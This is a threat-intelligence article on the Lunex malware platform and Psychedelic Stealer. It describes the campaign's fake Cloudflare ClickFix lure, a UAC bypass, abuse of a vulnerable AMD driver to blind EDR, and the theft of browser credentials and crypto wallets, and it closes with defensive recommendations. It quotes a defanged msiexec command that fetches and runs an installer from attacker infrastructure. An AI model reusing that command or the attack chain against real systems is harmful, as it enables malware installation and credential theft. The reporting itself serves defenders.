Lunex Stealer Abuses AMD Driver to Disable Security Monitoring and Steal Browser Credentials

Lunex Stealer chains a ClickFix lure, a UAC bypass, and a vulnerable AMD driver to blind EDR before stealing credentials

Researchers at Ontinue's Cyber Defence Centre have detailed a malware-as-a-service (MaaS) platform called Lunex that pairs a bring-your-own-vulnerable-driver (BYOVD) technique with credential and cryptocurrency theft — an unusual combination, since BYOVD abuse is typically reserved for ransomware operators rather than infostealer campaigns. In a technical report published the week of September 26, 2026, Ontinue threat researcher Rhys Downing described a four-stage attack chain that "begins with a fake CAPTCHA page and culminates in the deployment of a fully-featured C2 agent." The stealer payload itself — a file named psychedeliclove.exe and tracked separately as "Psychedelic Stealer" — was first documented days earlier by Arctic Wolf Labs, which traced its distribution to a wave of compromised, legitimate Ukrainian business websites. Downing clarified the naming overlap: "'Psychedelic' is the name of the malware file that runs on victims' devices, while Lunex is the underlying platform being sold to multiple criminal groups."

The chain's most notable feature is its abuse of a legitimately signed AMD Radeon Software kernel-mode driver (identified in the reporting as PDFWKRNL.sys), vulnerable to CVE-2023-20598, to zero out kernel security callbacks rather than kill security processes outright — leaving EDR agents running but functionally blind.

Details

How the four-stage attack chain works

Stage 1: A fake Cloudflare verification page

Attackers compromised a handful of legitimate, unrelated Ukrainian small-business websites — Arctic Wolf named a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller, a psychological facility, a tool retailer, and an automotive retailer among the victims — and injected a malicious iframe that loads a tracking script. Visitors are shown a fake Cloudflare "verification" page rendered in Ukrainian, complete with a randomly generated hexadecimal Ray ID and a static "visitor identifier" designed to mimic genuine Cloudflare challenge pages. Clicking the CAPTCHA box silently copies a malicious command to the clipboard. Notably, the page holds the "Done" button disabled for roughly 35 seconds after a fake progress spinner — a delay that does nothing to actually verify the victim ran the command, but adds a veneer of legitimacy to the social-engineering flow. This is the classic ClickFix pattern: rather than exploiting a browser vulnerability, the page manipulates the victim into pasting and executing the malicious command themselves.

Stage 2: MSI installer delivery

The clipboard payload instructs victims to open the Windows Run dialog and paste a command resembling msiexec.exe /i "hxxps://uasputnik[.]com/elita.msi" /passive, using the /passive flag to run the installer unattended with only a progress bar visible. The MSI package retrieves the next-stage loader from attacker infrastructure, continuing the chain without further user interaction.

Stage 3: LunexLoader — UAC bypass and BYOVD

Once running, LunexLoader first escalates privileges by bypassing Windows User Account Control through abuse of the CMSTPLUA COM object — a well-documented UAC-bypass technique that avoids triggering a consent prompt. With elevated privileges in hand, the loader drops and loads the vulnerable, legitimately signed AMD Radeon Software kernel driver and exploits CVE-2023-20598 to execute code in kernel mode. Rather than terminating endpoint security processes outright (which is loud and easily detected), the driver is used to zero out kernel security callbacks, effectively blinding EDR and antivirus telemetry while leaving the security product's process running and apparently healthy. Downing described this as "a quieter approach to EDR neutralisation that leaves security products running but blind" — an approach that is more commonly associated with ransomware crews than infostealer operators.

Stage 4: Stealer payload and persistence

With monitoring disabled, the loader deploys the final Psychedelic Stealer payload. It harvests saved passwords, cookies, and authentication tokens from seven Chromium-based browsers, scans for both desktop cryptocurrency wallets and browser-extension wallets, and closes running browser processes so it can unpack its own malicious extension into the user's browser profile. It then installs a PowerShell-based Native Messaging Host — a script embedded directly in the binary that implements Chrome's native messaging protocol and supports remote filesystem operations (listing drives and directories, reading, writing, downloading, and executing files). Because this component is registered independently of the original stealer binary, it survives deletion of the malware, system reboots, and browser restarts, giving operators durable remote access even after the initial payload is removed. Persistence is reinforced with a scheduled task named psychedelicloveUtils, and the implant polls its command-and-control server using a per-victim hardware ID to fetch new tasks, including arbitrary EXE, BAT, CMD, or PowerShell execution.

Attribution and infrastructure

Despite the exclusively Ukrainian-language lure, researchers found Russian-language comments in the page source and a lang="ru" HTML attribute, and assess the platform was built by a Russian-speaking developer or team and rented out to other, financially motivated actors — consistent with Lunex's identity as a MaaS offering rather than a single actor's tool. Ontinue tracked 28 unique C2 panels across 13 countries, with notable expansion since June 2026 across Russia, the United States, the United Kingdom, the Netherlands, France, Germany, Turkey, and Bangladesh. A control panel branded "РУБЛЁВКА TDS" tied to the Ukrainian distribution wave logged 557 page views, 426 CAPTCHA clicks, and 79 completed installer downloads across 32 countries, with 446 of those views originating in Ukraine.

Impact Assessment

Recommendations

For security and IT teams

• Block or restrict loading of the vulnerable AMD Radeon Software driver associated with CVE-2023-20598 via Windows Defender Application Control (WDAC) or a maintained vulnerable-driver blocklist (Microsoft's recommended driver blocklist should already cover disclosed CVEs, but confirm it is current and enforced).
• Alert on kernel driver loads from user-writable paths and on unexpected use of the CMSTPLUA COM interface, a known UAC-bypass primitive.
• Do not treat "security agent process is running" as equivalent to "security agent is functioning" — validate EDR telemetry generation (e.g., synthetic detections) rather than relying solely on process-alive checks.
• Hunt for scheduled tasks named psychedelicloveUtils or similarly patterned task names, and for unauthorized Chrome/Chromium Native Messaging Host registrations.
• Monitor egress to 193.178.159[.]128:8080 and installer-hosting infrastructure such as uasputnik[.]com; treat any msiexec.exe invocation with a remote HTTPS/HTTP source URL as high-risk.

For website operators

• Audit CMS plugins, themes, and third-party scripts on public-facing sites for unauthorized iframe or script injections, particularly small-business sites that may lack dedicated security monitoring.
• Apply integrity monitoring (file-change detection) to web roots and rotate CMS/admin credentials regularly to reduce the chance of becoming an unwitting distribution point for lures like this one.

For end users

• Never paste clipboard content into the Windows Run dialog or a terminal at the instruction of a webpage, regardless of how convincing the CAPTCHA or "verification" prompt looks — legitimate Cloudflare challenges never ask a visitor to run a command.
• Treat unexpected MSI installer prompts triggered by a website visit as malicious by default, and report the hosting site to its administrator.
• Enable multi-factor authentication on browser-synced accounts and financial/crypto services so a stolen password or cookie alone is insufficient for takeover.

Key Takeaways

1. Lunex is a malware-as-a-service platform whose stealer payload, distributed under the name "Psychedelic Stealer" (psychedeliclove.exe), is rented out to multiple financially motivated criminal groups.
2. The four-stage chain runs from a fake Cloudflare ClickFix lure on compromised legitimate Ukrainian websites, through an MSI installer, a UAC bypass via CMSTPLUA, and a BYOVD exploit of a signed AMD Radeon Software driver (CVE-2023-20598).
3. Rather than killing security processes, the malware zeroes kernel security callbacks, leaving EDR/AV agents running but blind — a technique Ontinue calls unusually "quiet" for an infostealer.
4. The stealer targets seven Chromium-based browsers and both desktop and browser-extension cryptocurrency wallets, and installs a PowerShell-based Native Messaging Host that persists independently of the original binary.
5. Ontinue identified 28 C2 panels across 13 countries, with expansion since June 2026 well beyond the initial Ukraine-focused campaign, and assesses the platform was built by a Russian-speaking developer or team.
6. Defenders should prioritize blocking the vulnerable AMD driver via a vulnerable-driver blocklist, validating that EDR telemetry is actually being generated (not just that the process is alive), and training users never to paste clipboard commands into Run at a website's instruction.

Sources

• Lunex Stealer Abuses AMD Driver to Disable Security Monitoring and Steal Browser Credentials — The Hacker News
• Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer — The Hacker News
• The Psychedelic Stealer: When a CAPTCHA Becomes an Installer — Arctic Wolf
• ClickFix Campaign Abuses Trusted Websites to Deploy Psychedelic Stealer — Security Affairs